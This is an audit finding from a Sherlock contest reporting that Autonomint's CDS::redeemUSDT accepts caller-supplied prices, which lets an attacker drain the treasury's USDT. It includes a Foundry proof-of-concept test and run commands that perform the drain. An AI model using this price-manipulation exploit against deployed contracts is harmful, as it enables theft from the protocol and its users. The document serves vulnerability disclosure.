Attacker can drain the Treasury of Funds by calling `CDS::redeemUSDT`
*issue-contents*
0 CONTENTS
- 1................................................................................
- 2................................................................................
- 3................................................................................
- 4................................................................................
- 5................................................................................
- 6................................................................................
- 7................................................................................
- 8................................................................................
- 9................................................................................
1 METADATA
Number | 437 |
---|---|
Severity | High |
Author | IzuMan |
Contest | Autonomint |
Platform | Sherlock |
2 SUMMARY
The function CDS::redeemUSDT
takes usdaPrice
and usdtPrice
as parameters.
Thus, the caller can set the price to whatever they desire and change the
exchange rate of USDA to USDT. For example they can trade 1 USDA into 1000 USDT
and effectively drain the treasury of all USDT.
3 ROOT CAUSE
The problem is the https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/CDS.sol#L506-L510redeemUSDT
is not accessed controlled and allows an
attacker to input any price.
4 INTERNAL PRE-CONDITIONS
- The treasury must have USDT to steal
- The attacker must own a small amount of USDA
5 EXTERNAL PRE-CONDITIONS
No response
6 ATTACK PATH
- The attacker mints USDA by depositing USDT into the protocol or buys it on an AMM etc.
- Calls
CDS::redeemUSDT
with any desired price.
7 IMPACT
The treasury will be drained of all USDT holdings.
8 POC
To run the test run the following commands:
anvil --fork-url https://mainnet.mode.network
- Paste the test into the ‘Borrowing.t.sol` test.
forge test --fork-url http://127.0.0.1:8545 --mt test_drainTreasury -vvv
function test_drainTreasury() public {
vm.startPrank(USER);
//first lets mint the treasury some USDT
contractsA.usdt.mint(address(contractsA.treasury), 10_000e6);
uint256 startinUsdtBalance = contractsA.usdt.balanceOf(USER);
//uint256 usdaBalance = contractsA.usda.balanceOf(USER);
console.log(startinUsdtBalance);
uint256 mintAmount = 100e6; //it has 6 decimals
contractsA.usda.mint(USER, mintAmount);
contractsA.usda.approve(address(contractsA.cds), mintAmount);
uint64 usdtPrice = 1e2;
uint64 usdaPrice = 10 * usdtPrice;
contractsA.cds.redeemUSDT{value: globalFee.nativeFee}(uint128(mintAmount), usdaPrice, usdtPrice);
uint256 endingUsdtBalance = contractsA.usdt.balanceOf(USER);
console.log("the ending balance of usdt: ", endingUsdtBalance);
//sample console log
/* Logs:
0
the ending balance of usdt: 1000_000_000
*/
// we turn $100 usda into $1000 usdt
}
9 MITIGATION
The exact purpose of the function is a little unclear. However, it needs to have
access control
so that the correct price is passed as an input or remove the
price from the input parameters and correctly retrieve the price from an oracle.
LINKS
*issue-links*
- 1.